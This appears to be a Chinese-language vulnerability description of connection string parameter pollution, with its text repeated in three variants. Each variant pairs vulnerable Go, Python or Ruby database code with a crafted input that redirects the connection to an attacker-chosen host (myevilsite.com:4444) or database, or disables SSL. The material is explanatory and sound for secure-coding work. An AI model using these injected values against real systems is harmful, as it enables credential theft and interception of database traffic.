Connection String Parameter Pollution

如果在数据库连接中加入未验证的输入，可能会让攻击者覆盖请求参数的值。攻击者可能会覆盖现有参数值、注入新的参数或利用直接得到的变量。

连接字符串参数污染 (CSPP) 攻击包括将连接字符串参数注入到其他现有参数中。这个漏洞类似于也可能会发生参数污染的 HTTP 环境中的漏洞（可能更广为人知）。然而，它可能还适用于其他地方，比如数据库连接字符串。如果应用程序没有正确地检查用户输入，则恶意用户可能会破坏应用程序的逻辑，以执行从窃取凭证到检索整个数据库等各种攻击。如果再向应用程序提交其他参数，且这些参数与现有参数的名称相同，则数据库可能会有下列一种反应：

它可能只从第一个参数中提取数据
它可能从最后一个参数中提取数据
它可能从所有参数中提取数据并将它们连接在一起

这取决于所使用的驱动程序、数据库类型乃至 API 的使用方法。


示例 1：以下代码使用 HTTP 请求中的输入来连接到数据库：

    ...
    password := request.FormValue("db_pass")
    db, err := sql.Open("mysql", "user:" + password + "@/dbname")
    ...

在这个例子中，程序员并没有考虑到攻击者可以提供 db_pass 参数，比如：
"xxx@/attackerdb?foo=" 之后连接字符串变为：

"user:xxx@/attackerdb?foo=/dbname"

这样会让应用程序连接到攻击者控制器数据库，让攻击者能够控制哪些数据要传回应用程序。

如果在数据库连接中加入未经验证的输入，可能会让攻击者重写请求参数的值。 攻击者可能会重写现有的参数值、注入新的参数或利用直接得到的变量。

连接字符串参数污染 (CSPP) 攻击包括将连接字符串参数注入到其他现有的参数中。 这个漏洞类似于也可能会发生参数污染的 HTTP 环境中的漏洞（可能更广为人知）。 然而，它可能还适用于其他地方，比如数据库连接字符串。 如果应用程序没有正确地检查用户输入，则恶意用户可能会破坏应用程序的逻辑，进行从窃取凭证到检索整个数据库等各种攻击。 在向应用程序提交额外参数时，如果这些参数与现有参数的名称相同，则数据库连接可能会产生下列某种反应：

它可能只从第一个参数中提取数据
它可能从最后一个参数中提取数据
它可能从所有参数中提取数据并将它们连接在一起

这可能取决于所使用的驱动程序、数据库类型乃至 API 的使用方法。

示例 1： 下面的代码使用 HTTP 请求中的输入来连接到数据库：

username = req.field('username')
password = req.field('password')
...
client = MongoClient('mongodb://%s:%s@aMongoDBInstance.com/?ssl=true' % (username, password))
...

在这个例子中，程序员并没有考虑到攻击者可以提供 password 参数，比如：
“myPassword@aMongoDBInstance.com/?ssl=false&”，于是连接字符串变为（假定用户名为“scott”）：

“mongodb://scott:myPassword@aMongoDBInstance.com/?ssl=false&@aMongoDBInstance.com/?ssl=true”

这会导致“@aMongoDBInstance.com/?ssl=true”被视为附加的无效参数，从而有效地忽略“ssl=true”并连接到未加密的数据库。

如果在数据库连接中加入未验证的输入，可能会让攻击者重写请求参数的值。攻击者可能会重写现有的参数值、注入新的参数或利用直接得到的变量。

连接字符串参数污染 (CSPP) 攻击包括将连接字符串参数注入到其他现有的参数中。这个漏洞类似于也可能会发生参数污染的 HTTP 环境中的漏洞（可能更广为人知）。然而，它可能还适用于其他地方，比如数据库连接字符串的。如果应用程序没有正确地检查用户输入，则恶意用户可能会破坏应用程序的逻辑，进行各种攻击，从窃取凭证到检索整个数据库。如果再向应用程序提交参数，并且如果这些参数与现有参数的名称相同，则数据库连接可能会有下列一种反应：

它可能只从第一个参数中提取数据
它可能从最后一个参数中提取数据
它可能从所有参数中提取数据并把它们连接起来

这可能取决于所使用的驱动程序、数据库类型乃至 API 的使用方法。

例 1：下面的代码使用 HTTP 请求中的输入来连接到数据库：

hostname = req.params['host'] #gets POST parameter 'host'
...
conn = PG::Connection.new("connect_timeout=20 dbname=app_development user=#{user} password=#{password} host=#{hostname}")
...

在这个例子中，程序员并没有考虑到攻击者可以提供 host 参数，比如：
“myevilsite.com%20port%3D4444%20sslmode%3Ddisable”，于是连接字符串变为（假定用户名为“scott”，密码为“5up3RS3kR3t”）：

"dbname=app_development user=scott password=5up3RS3kR3t host=myevilsite.com port=4444 sslmode=disable"

这将在端口 4444 上查找“myevilsite.com”并连接至此网站，禁用 SSL。这意味着攻击者可能会窃取“scott”用户的凭证，然后使用此凭证在用户的机器和真正的数据库之间进行中间人攻击，或者只登录到真正的数据库并直接对数据库执行查询。